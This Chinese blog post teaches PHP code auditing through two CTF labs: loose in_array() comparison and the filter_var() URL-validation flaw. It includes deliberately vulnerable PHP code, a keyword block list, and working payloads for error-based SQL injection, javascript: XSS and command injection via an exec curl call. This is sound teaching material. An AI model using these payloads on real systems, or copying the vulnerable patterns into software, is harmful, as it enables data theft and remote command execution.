php代码审计-函数篇_Day1、2

php代码审计-函数篇_Day1、2

一月 27, 2022

Day1

关于不正确使用in_array()检测文件上传文件名导致的任意文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 

$white_list = range(1,24);

if(!in_array($file,$white_list)){

die("请上传正确的文件格式!");

}else{

执行文件上传操作;

}

?>

在代码中,由于没有将in_array()的第三个参数设置为true,导致可以进行弱比较,也就是说,当任意上传文件7shell.php时,in_array()会将其转化为7,与$while_list进行比较,存在于$while_list中,因此可以导致任意文件的上传。这是因为没有将in_array()第三个参数设置为true导致的。

in_array()函数

img

查看in_array()的官方文档说明,该函数是用来检查$needle是否存在于$haytack数组中的。

如果第三个参数$stict没有被设置的话将使用比较宽松的比较,即php的弱比较类型。

img

如果第三个参数$stict被设置为true的话,将会比较$needle和$haystack的类型。

CTF题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}

?>


//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>

代码中采用in_array()判断白名单,并且没有设置第三个参数:

if (!in_array($id, $whitelist)) {

​ die(“id $id is not in whitelist.”);

}

利用这个点可以尝试进行SQL注入:

1 and sleep(3);

发现回显延迟。

黑名单中过滤了很多的关键字,比如or(导致information无法用)、concat等,考虑报错注入,但是需要绕过concat,尝试搜索其他的连接查询的函数:

img

这里讨论make_set()的用法问题:

select make_set(‘1’,’a’,’b’,’c’,’d’);

在mysql中使用make_set,函数的第一个参数为字符串,后面的可以理解为回显位。当第一个参数为1时,根据其二进制的反过来的值,如果对应后面的位置为1的,将1上的内容显示出来:1的二进制为0001,反过来为1000,因此显示的为1所在位置的值a:

img

再比如2,2的二进制表示为0010,倒过来为0100,所以显示位为第二位,取对应值m:

img

1
2
payload:
1 and updatexml(1,make_set(3,'~',(select database())),1);

img

这里尝试使用无列名注入绕过information,但是在使用的时候返回空,所以这里就直接尝试获取flag了。

1
and updatexml(1,make_set(3,'~',(select flag from flag)),1)

img

参考文章

https://www.dazhuanlan.com/qwelf/topics/1100745

https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day1/files/README.md


Day2

filter_var函数缺陷

filter_var — 使用特定的过滤器过滤一个变量

img

第一个参数表示要过滤的内容;

第二个参数表示的是要使用的过滤器的id,也可以直接写值。

查看filter参数都定义了哪些值:

img

在菜鸟教程中可以看到定义了很多的值,像对url的过滤、email的过滤等。

在这里我们找到关于url的过滤选择器:

img

验证一个url是否符合要求。

用下面一段demo代码来解释:

1
2
3
4
5
6
7
8
9
<?php

$url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
var_dump($url);
$url = htmlspecialchars($url);
var_dump($url);
echo "<a href='$url'>Next slide </a>";

?>

首先第二行中使用了filter_var()函数对传进来的url进行过滤,url的内容可控,在最后一行,将url拼接到a标签中,点击跳转。

img

1
2
?url=javascript://comment%250aalert(1);
这是的payload用了%25,其实是%进行了url编码,%0a是换行符,//是在js中起到单行注释的作用,通过后面的%0a,就成功将alert(1)换到了不同行,因此alert函数能成功执行。用url编码成%25是因为get传递参数的时候,会先将其解析为javascript://comment%0aalert(1);然后传入到第二行代码中输出。

当我们使用JavaScript伪协议 时,整体构造符合filter_var()函数中FILTER_VALIDATE_URL)

过滤器对url的要求,并且在js中//起到单行注释的作用,会将后面的comment注释掉,%0a表示换行符,将后面的alert()函数换行,因此与//单行注释不在同一行,写入标签时,alert函数被执行,造成xss漏洞。

CTF题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}

}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>


// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

parse_url():解析 URL,返回其组成部分

img

如果第二个参数指定host的话,则返回host部分。

exec(): 执行外部的命令

img

第一个参数为所要执行的命令,第二个参数如果存在,则存放执行命令后返回的结果,以数组的形式存在。

1
在代码中,首先使用filter_var判断url的规范,然后使用parse_url函数对url进行解析,取解析到的host部分$site_info['host']该部分内容必须满足正则匹配以sec-redclub.com作为结束字符。满足以上条件,将参数$site_info['host']带入exec中执行命令,然后通过echo输出命令执行结果$result。

exec执行多条命令可以使用管道符进行拼接,这里我使用的是win环境:

windows下的命令连接符:&、&&(还有|、||)

&:

&前面的语句为假,则执行&后的语句,&前的语句为真,则&前后语句都执行。

&&:

&&前面的语句为假,则直接报错,后面的语句也不执行;&&前面的语句为真,则前后语句都执行。

1
2
3
4
首先需要绕过filter_var函数的检验,可以构造javascript://或者0://都可以,这里我选用javascript://。最后使用sec-redclub.com作为结束字符绕过正则匹配:JavaScript://[任意内容]sec-redclub.com
这里直接使用type指定文件,type=flag.php,使用"对exec('curl "'.$site_info['host'].'"', $result);语句进行拼接:
?url=javascript://"&type=flag.php&&"sec-redclub.com
得到exec(curl "javascript://"&type=flag.php&&"sec-redclub.com")

执行读取文件命令,得到flag:

img

参考文章

https://blog.csdn.net/qq_38850916/article/details/121332722

https://blog.csdn.net/weixin_43818995/article/details/104165124

https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day2/files/README.md

  • 以上代码题目代码均来自红日安全代码审计项目。